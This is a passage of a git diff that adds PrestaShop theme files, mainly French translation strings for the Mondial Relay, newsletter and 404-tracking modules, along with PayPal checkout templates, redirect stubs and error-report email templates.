'n\'a pas un format valide'; +$_MODULE['<{mondialrelay}default>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semble que la requête soit invalide :'; +$_MODULE['<{mondialrelay}default>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}default>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}default>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice Mondial Relay est actuellement innaccessible.'; +$_MODULE['<{mondialrelay}default>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Désintaller MondialRelay'; +$_MODULE['<{mondialrelay}default>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Vous allez désintaller le module : voulez vous aussi effacer les paramètres relatifs à Mondial Relay?'; +$_MODULE['<{mondialrelay}default>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Garder et désintaller'; +$_MODULE['<{mondialrelay}default>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Supprimer et désinstaller'; +$_MODULE['<{mondialrelay}default>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{mondialrelay}default>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Certaines étiquettes ne peuvent pas être supprimées : veuillez réessayer un peu plus tard.'; +$_MODULE['<{mondialrelay}default>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Veuillez choisir au moins un élèment de l\'historique'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut être trouvé'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semble que la requête ne soit pas valide'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lundi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Mardi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Mercredi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Jeudi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Vendredi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Samedi'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Dimanche'; +$_MODULE['<{mondialrelay}default>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice Mondial Relay est actuellement innaccessible.'; +$_MODULE['<{mondialrelay}default>checkout_process_836f6c949a2f2d61489bf410def82111'] = 'Mondialrelay ne peut récupérer les points relais du à une erreur de Prestashop'; +$_MODULE['<{mondialrelay}default>configuration_0f27e5e9020f28e3f31b78376e11d4c7'] = 'Configuration de Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_8bc212f48680748479bbd322d4d73d3f'] = 'Détails du compte'; +$_MODULE['<{mondialrelay}default>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Transporteur'; +$_MODULE['<{mondialrelay}default>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Paramètres avancés'; +$_MODULE['<{mondialrelay}default>configuration_326e057f57e830834c20d668e44627ef'] = 'Infos'; +$_MODULE['<{mondialrelay}default>configuration_29141d2b5a484e8032ef64339733f0dc'] = 'Merci de configurer le détail votre compte'; +$_MODULE['<{mondialrelay}default>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Essayez de désactiver le cache et de forcer la compilation smarty'; +$_MODULE['<{mondialrelay}default>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'si vous rencontrez le moindre problème après une mise à jour du module'; +$_MODULE['<{mondialrelay}default>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = 'Consulter le manuel pour vous guider dans la configuration de Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'Pour créer un transporteur Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Remplissez et sauvegardez vos paramètres Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_b29c4694f835ad29b9893cd3fed36fbc'] = 'Créez un transporteur en utilisant le bouton \'Transporteur\''; +$_MODULE['<{mondialrelay}default>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Définissez un prix pour votre transporteur sur'; +$_MODULE['<{mondialrelay}default>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'La page Transporteurs'; +$_MODULE['<{mondialrelay}default>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Pour générer vos étiquettes, vous devez avoir enregistré une adresse valide de votre boutique sur votre'; +$_MODULE['<{mondialrelay}default>configuration_af5efea250326c1c34d69aa9364b482c'] = 'page contact'; +$_MODULE['<{mondialrelay}default>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Détails du compte Mondial Relay'; +$_MODULE['<{mondialrelay}default>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Ces paramètres vous sont donnés par Mondial Relay une fois inscrit à leurs services'; +$_MODULE['<{mondialrelay}default>configuration_12a3fbd35c1cab4b1101b91d708efd15'] = 'Enseigne Webservice :'; +$_MODULE['<{mondialrelay}default>configuration_6f0434b67007b555dfd1201f4e0d5254'] = 'Code Marque :'; +$_MODULE['<{mondialrelay}default>configuration_08f785193c96b2a78dec8d76a46648d6'] = 'Clé Webservice :'; +$_MODULE['<{mondialrelay}default>configuration_0dae2d7c71f2daaedb00191af25dc28d'] = 'Langue des étiquettes'; +$_MODULE['<{mondialrelay}default>configuration_a26329cba9723551cb8654deba32872b'] = 'Coefficient de Poids :'; +$_MODULE['<{mondialrelay}default>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'grammes = 1'; +$_MODULE['<{mondialrelay}default>configuration_80eac24973917207249176589fb068ce'] = 'Par défaut le prix sera définit en fonction du poids total.'; +$_MODULE['<{mondialrelay}default>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Mettre à jour le compte'; +$_MODULE['<{mondialrelay}default>configuration_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{mondialrelay}default>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Paramètres avancés'; +$_MODULE['<{mondialrelay}default>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL de la tache CRON'; +$_MODULE['<{mondialrelay}default>configuration_66661dacf33146201b60dc16520ddd68'] = 'Ajouter une méthode de transport'; +$_MODULE['<{mondialrelay}default>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Nom du transporteur'; +$_MODULE['<{mondialrelay}default>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Délais '; +$_MODULE['<{mondialrelay}default>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Mode de livraison'; +$_MODULE['<{mondialrelay}default>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Livraison dans un point relais'; +$_MODULE['<{mondialrelay}default>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Livraison Colis Drive'; +$_MODULE['<{mondialrelay}default>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Livraison à domicile RDC (1 personne)'; +$_MODULE['<{mondialrelay}default>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'Livraison à domicile spécialisée (2 personnes)'; +$_MODULE['<{mondialrelay}default>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'Assurance'; +$_MODULE['<{mondialrelay}default>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'Sans assurance'; +$_MODULE['<{mondialrelay}default>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Assurance complémentaire N1'; +$_MODULE['<{mondialrelay}default>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Assurance complémentaire N2'; +$_MODULE['<{mondialrelay}default>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Assurance complémentaire N3'; +$_MODULE['<{mondialrelay}default>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Assurance complémentaire N4'; +$_MODULE['<{mondialrelay}default>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Assurance complémentaire N5'; +$_MODULE['<{mondialrelay}default>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Pays de livraison :'; +$_MODULE['<{mondialrelay}default>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Vous pouvez choisir plusieurs pays en appuyant sur Ctrl tout en sélectionnant les pays'; +$_MODULE['<{mondialrelay}default>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'France'; +$_MODULE['<{mondialrelay}default>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Belgique'; +$_MODULE['<{mondialrelay}default>configuration_06630c890abadde9228ea818ce52b621'] = 'Luxembourg'; +$_MODULE['<{mondialrelay}default>configuration_907eba32d950bfab68227fd7ea22999b'] = 'Espagne'; +$_MODULE['<{mondialrelay}default>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Liste des transporteurs'; +$_MODULE['<{mondialrelay}default>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'Aucun transporteur créé'; +$_MODULE['<{mondialrelay}default>configuration_daf999e234b6f358dda641bf381b685a'] = 'Modifier les paramètres de ce transporteur'; +$_MODULE['<{mondialrelay}default>header_e0626222614bdee31951d84c64e5e9ff'] = 'Choisir'; +$_MODULE['<{mondialrelay}default>header_91b442d385b54e1418d81adc34871053'] = 'Sélectionné'; +$_MODULE['<{mondialrelay}default>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Merci de choisir un point relais'; +$_MODULE['<{mondialrelay}default>header_80a0c205cd57b22fca7f174253870300'] = 'Heure d\'ouvertude'; +$_MODULE['<{mondialrelay}default>header_2b56b60f878922093facd42284848a0c'] = 'Plus de détails'; +$_MODULE['<{mondialrelay}default>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Livraison dans'; +$_MODULE['<{mondialrelay}default>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Suivre mon colis sur le site de Mondial Relay'; +$_MODULE['<{mondialrelay}default>post_action_466ec9f29b485204ef53818459da48af'] = 'erreur(s)'; +$_MODULE['<{mondialrelay}default>generate_tickets_8d63728960e021f7632a11922685705e'] = 'Merci de bien vouloir corriger les erreurs suivantes dans'; +$_MODULE['<{mondialrelay}default>generate_tickets_264f456c4202f0aba86e481a246a3ef1'] = 'la page de contact'; +$_MODULE['<{mondialrelay}default>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Toutes les commandes qui auront un statut'; +$_MODULE['<{mondialrelay}default>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'seront disponibles pour la création d\'étiquette'; +$_MODULE['<{mondialrelay}default>generate_tickets_5dadbd0ec9f0b182be4ead8dad39da79'] = 'Liste des commandes'; +$_MODULE['<{mondialrelay}default>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'Numéro de commande'; +$_MODULE['<{mondialrelay}default>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{mondialrelay}default>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Prix total'; +$_MODULE['<{mondialrelay}default>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Total frais d\'expédition'; +$_MODULE['<{mondialrelay}default>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{mondialrelay}default>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Mettez un poids (grammes)'; +$_MODULE['<{mondialrelay}default>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'Numéro MR'; +$_MODULE['<{mondialrelay}default>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'Pays MR'; +$_MODULE['<{mondialrelay}default>generate_tickets_428c091372d840900cf8536519fa0056'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}default>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Détail'; +$_MODULE['<{mondialrelay}default>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{mondialrelay}default>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Opération réussie'; +$_MODULE['<{mondialrelay}default>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'Aucune commande disponible avec ce statut'; +$_MODULE['<{mondialrelay}default>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = 'Générer'; +$_MODULE['<{mondialrelay}default>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Historique de la création d\'étiquettes'; +$_MODULE['<{mondialrelay}default>history_d79cf3f429596f77db95c65074663a54'] = 'Numéro de commande'; +$_MODULE['<{mondialrelay}default>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}default>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'Imprimer l\'étiquette format A4'; +$_MODULE['<{mondialrelay}default>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'Imprimer l\'étiquette format A5'; +$_MODULE['<{mondialrelay}default>history_9e50665937cbb2f3c833d3626a9f9abb'] = 'Aucun historique disponible'; +$_MODULE['<{mondialrelay}default>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Supprimer les historiques sélectionnés'; +$_MODULE['<{mondialrelay}default>settings_0a4ee7474864081af12dba847fafdaa6'] = 'Configuration du panneau d\'administration'; +$_MODULE['<{mondialrelay}default>settings_d02bbc3cb147c272b0445ac5ca7d1a36'] = 'État de la commande'; +$_MODULE['<{mondialrelay}default>settings_ca57625685f058f54d82c6e05876a131'] = 'Choississez le statut pour la génération d\'étiquette.'; +$_MODULE['<{mondialrelay}default>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{mondialrelay}default>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{mondialrelay}default>install-1.8.0_315a8895cf7c458597be5cf3c5b18d0b'] = 'Impossibilité de créer la table \'method shop\''; +$_MODULE['<{mondialrelay}default>install-1.8.0_e364c3962f360330a5d8084c3ef5cacf'] = 'Imossibilité de changer le nom de la table \'method\''; +$_MODULE['<{mondialrelay}default>install-1.8.0_6384826d8bae08ec0ca4d1cd386a32c8'] = 'Impossibilité de renommer la table d\'historique'; +$_MODULE['<{mondialrelay}default>install-1.8.0_4c74bd0afa2a8ecb894674c9cd942da5'] = 'Impossibilité de mettre à jour la table \'method shop\''; +$_MODULE['<{mondialrelay}default>install-1.8.3_665cc27f3a529d80315dd49378a6c2bf'] = 'Impossibilité de créer de nouveaux champs dans la table \'method\''; diff --git a/themes/default/modules/newsletter/translations/en.php b/themes/default/modules/newsletter/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/newsletter/translations/fr.php b/themes/default/modules/newsletter/translations/fr.php new file mode 100755 index 0000000..8d1296e --- /dev/null +++ b/themes/default/modules/newsletter/translations/fr.php @@ -0,0 +1,30 @@ +newsletter_ffb7e666a70151215b4c55c6268d7d72'] = 'Lettre d\'informations'; +$_MODULE['<{newsletter}default>newsletter_804a924e464fd21ed92f820224c4091d'] = 'Génère un fichier .CSV pour votre envoi d\'e-mails'; +$_MODULE['<{newsletter}default>newsletter_c3987e4cac14a8456515f0d200da04ee'] = 'Tous les pays'; +$_MODULE['<{newsletter}default>newsletter_fa01fd956e87307bce4c90a0de9b0437'] = 'Pays du client'; +$_MODULE['<{newsletter}default>newsletter_c0859b0a5241dff468da2a9a93c3284f'] = 'Mettre un filtre sur le pays des clients.'; +$_MODULE['<{newsletter}default>newsletter_2198f293f5e1e95dddeff819fbca0975'] = 'Inscrits lettre d\'info.'; +$_MODULE['<{newsletter}default>newsletter_99006a61d48499231e1be92241cf772a'] = 'Opérer un filtre sur les inscrits à la lettre d\'information.'; +$_MODULE['<{newsletter}default>newsletter_7e3a51a56ddd2846e21c33f05e0aea6f'] = 'Tous les clients'; +$_MODULE['<{newsletter}default>newsletter_39f7a3e2b56e9bfd753ba6325533a127'] = 'Inscrits'; +$_MODULE['<{newsletter}default>newsletter_011d8c5d94f729f013963d856cd78745'] = 'Non-inscrits'; +$_MODULE['<{newsletter}default>newsletter_793ee192a9124cd6f529460eef17d3e5'] = 'Inscrits pub'; +$_MODULE['<{newsletter}default>newsletter_7b15c043d66fecc45c8752592aa38e38'] = 'Mettre un filtre sur les inscrits aux messages publicitaires.'; +$_MODULE['<{newsletter}default>newsletter_82e5e0bc0f9c776c98253d569c111c0f'] = 'Aucun client trouvé avec ces paramètres'; +$_MODULE['<{newsletter}default>newsletter_48e3d5f66961b621c78f709afcd7d437'] = 'Télécharger le fichier'; +$_MODULE['<{newsletter}default>newsletter_faa1115fbab933e7178ee43ce1590977'] = 'ATTENTION : si vous tentez d\'ouvrir le fichier .csv avec Excel, n\'oubliez pas de sélectionner l\'encodage UTF-8, sinon vous aurez des caractères incorrects'; +$_MODULE['<{newsletter}default>newsletter_81573e0ea79138f02fd2cee94786d7e9'] = 'Erreur : impossible d\'écrire'; +$_MODULE['<{newsletter}default>newsletter_23e8f8a55548b88bfbdcd1f6ba26a010'] = 'Les personnes ayant indiqué leur adresse dans le bloc newsletter de la page d\'accueil'; +$_MODULE['<{newsletter}default>newsletter_27d1ec406fd2baf49d03f81a4bb41122'] = 'Voici une liste des adresses e-mails des personnes qui se rendent sur votre boutique sans en devenir client, mais qui se sont inscrites à votre newsletter. À l\'aide de la section \"Exporter les inscrits à la newsletters\" ci-dessous, vous pouvez générer un fichier .CSV basé sur les données du bloc Newsletter.'; +$_MODULE['<{newsletter}default>newsletter_74ca54506cdbc82e3aa763ba91b8fa39'] = 'Les clients ayant coché la case \"oui\" pour l\'inscription à la liste de newsletter.'; +$_MODULE['<{newsletter}default>newsletter_1aa14f5a6423dbde1ef2cfe4734980b4'] = 'La section \"Exporter des clients\" ci-dessous permet de filtrer les clients à qui vous souhaitez envoyer votre newsletter.'; +$_MODULE['<{newsletter}default>newsletter_7f5c4d54d8602ab7234a715a2a10b98e'] = 'Exporter les inscrits à la newsletter depuis le bloc Newsletter'; +$_MODULE['<{newsletter}default>newsletter_a60401e616125189d78605b2ddd7ff45'] = 'Génère un fichier .CSV à partir des données des inscrits au bloc Newsletter.'; +$_MODULE['<{newsletter}default>newsletter_769050278dda5e93374adda37811e413'] = 'Seuls les abonnés sans compte client sur la boutique seront exportés.'; +$_MODULE['<{newsletter}default>newsletter_dbb392a2dc9b38722e69f6032faea73e'] = 'Exporte un fichier .CSV'; +$_MODULE['<{newsletter}default>newsletter_4713ef5f2d6fc1e8f088c850e696a04b'] = 'Export des clients'; +$_MODULE['<{newsletter}default>newsletter_2a96d838a5e89b86792669f0ab422987'] = 'Génère un fichier .CSV à partir des données des comptes utilisateurs.'; diff --git a/themes/default/modules/pagesnotfound/translations/en.php b/themes/default/modules/pagesnotfound/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/pagesnotfound/translations/fr.php b/themes/default/modules/pagesnotfound/translations/fr.php new file mode 100755 index 0000000..f231ff1 --- /dev/null +++ b/themes/default/modules/pagesnotfound/translations/fr.php @@ -0,0 +1,22 @@ +pagesnotfound_251295238bdf7693252f2804c8d3707e'] = 'Pages introuvables'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_220b13b2c5c94e16c5895e3925270617'] = 'Affiche les pages demandées mais qui n\'existent pas'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_da4c19289501755f54f1a9223d0271cc'] = 'Les pages introuvables vidées.'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_23dbe39a97cb7e4e528f25f5795d317f'] = 'Les pages introuvables supprimées.'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_6b4cd0cb089425011df02c8e86a1b832'] = 'Vous devez utiliser un fichier .htaccess redirigeant les erreurs 404 vers la page \"404.php\"'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_193cfc9be3b995831c6af2fea6650e60'] = 'Page'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_b6f05e5ddde1ec63d992d61144452dfa'] = 'Origine'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_64d129224a5377b63e9727479ec987d9'] = 'Compteur'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_d372ffc9065cb7d2ea24df137927d060'] = 'Aucune page enregistrée'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_d8847bc418fc4f5a3e37c2e8390bb9ed'] = 'Suppression'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_4613b06701504f4a6664effb977b3e32'] = 'Supprimer toutes les pages introuvables sur cette période'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_254b5e94768b90388cc7002d362351f0'] = 'Supprimer toutes les pages introuvables'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_3604249130acf7fda296e16edc996e5b'] = 'Erreurs 404'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_a90083861c168ef985bf70763980aa60'] = 'Comment attraper ces erreurs ?'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_f0698625adc9935b9a8d40eb128922c2'] = 'Si votre hébergeur autorise les fichiers .htaccess, vous pouvez en créer un à la racine de votre PrestaShop et insérer la ligne suivante :'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_54c5be2cbf4d4a829069fd28903507b0'] = 'Un utilisateur qui demande une page inexistante sera redirigé vers la page.'; +$_MODULE['<{pagesnotfound}default>pagesnotfound_499066312cb6ca89c060f67dcad7c7a6'] = 'Ce module enregistre les accès à cette page avec : la page demandée initialement, la page source et le nombre de fois que c\'est arrivé.'; diff --git a/themes/default/modules/paypal/about.tpl b/themes/default/modules/paypal/about.tpl new file mode 100755 index 0000000..cd180bc --- /dev/null +++ b/themes/default/modules/paypal/about.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='What Is PayPal?' mod='paypal'}

        + +
        +

        {l s='PayPal, the trusted leader in online payments, enables buyers and businesses to send and receive money online. PayPal has over 100 million member accounts in 190 countries and regions. It\'s accepted by merchants everywhere, both on and off eBay.' mod='paypal'}

        +

        {l s='Is it safe to use?' mod='paypal'}

        +

        {l s='PayPal helps protect your credit card information with industry-leading security and fraud prevention systems. When you use PayPal, your financial information is never shared with the merchant.' mod='paypal'}

        +

        {l s='Why use PayPal?' mod='paypal'}

        +

        +

          +
        • {l s='Make purchases or send money with PayPal - it\'s free' mod='paypal'}
        • +
        • {l s='Shop and pay conveniently by saving your information with PayPal' mod='paypal'}
        • +
        • {l s='PayPal is accepted by millions of businesses worldwide and is the preferred payment method on eBay' mod='paypal'}
        • +
        +

        +

        {l s='Start using PayPal today!' mod='paypal'}

        +
        \ No newline at end of file diff --git a/themes/default/modules/paypal/error.tpl b/themes/default/modules/paypal/error.tpl new file mode 100755 index 0000000..080e1bc --- /dev/null +++ b/themes/default/modules/paypal/error.tpl @@ -0,0 +1,57 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ < 1.5 && isset($use_mobile) && $use_mobile} + {include file="$tpl_dir./modules/paypal/views/templates/front/error.tpl"} +{else} + {capture name=path}{l s='Your shopping cart' mod='paypal'} {$navigationPipe} {l s='PayPal' mod='paypal'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} + +

        {$message}

        + {if isset($logs) && $logs} +
        +

        {l s='Please try to contact the merchant:' mod='paypal'}

        + +
          + {foreach from=$logs key=key item=log} +
        1. {$log}
        2. + {/foreach} +
        + +
        + + {if isset($order)} +

        + {l s='Total of the transaction (taxes incl.) :' mod='paypal'} {$price}
        + {l s='Your order ID is :' mod='paypal'} {$order.id_order}
        +

        + {/if} + +

        « {l s='Back' mod='paypal'}

        +
        + + {/if} + +{/if} diff --git a/themes/default/modules/paypal/express_checkout_payment.tpl b/themes/default/modules/paypal/express_checkout_payment.tpl new file mode 100755 index 0000000..0cb8cb0 --- /dev/null +++ b/themes/default/modules/paypal/express_checkout_payment.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        + {l s='Paiement par Paypal' mod='paypal'} + {if $mobile_device==true} + Paypal + {l s='Payez avec PayPal' mod='paypal'} + {else} + Paypal + {l s='Payez avec PayPal' mod='paypal'} + {/if} + {l s='En choisissant ce mode de paiement, vous allez être redirigé vers le serveur sécurisé de PayPal et accéder à votre compte PayPal.' mod='paypal'} +

        + +
        + + +
        diff --git a/themes/default/modules/paypal/index.php b/themes/default/modules/paypal/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/br/error_reporting.html b/themes/default/modules/paypal/mails/br/error_reporting.html new file mode 100755 index 0000000..d4d7b30 --- /dev/null +++ b/themes/default/modules/paypal/mails/br/error_reporting.html @@ -0,0 +1,43 @@ + + + + + Mensagem de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + {shop_name} +
         
        Hi,
         
        Relatório de erro do seu módulo PayPalAPI
         
        + Um cliente encontrou um problema com o módulo PayPalAPI, veja relatório: +
         
        + {logs} +
         
        + {shop_name} provido por PrestaShopâ„¢ + +
        + + diff --git a/themes/default/modules/paypal/mails/br/error_reporting.txt b/themes/default/modules/paypal/mails/br/error_reporting.txt new file mode 100755 index 0000000..12949b1 --- /dev/null +++ b/themes/default/modules/paypal/mails/br/error_reporting.txt @@ -0,0 +1,9 @@ + Oi, + + Relatório de erro do seu módulo PayPalAPI + + Um cliente encontrou um problem com o módulo PayPalAPI, veja relatório: + + {logs} + + {shop_url} provido por PrestaShop™ diff --git a/themes/default/modules/paypal/mails/br/index.php b/themes/default/modules/paypal/mails/br/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal/mails/br/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); 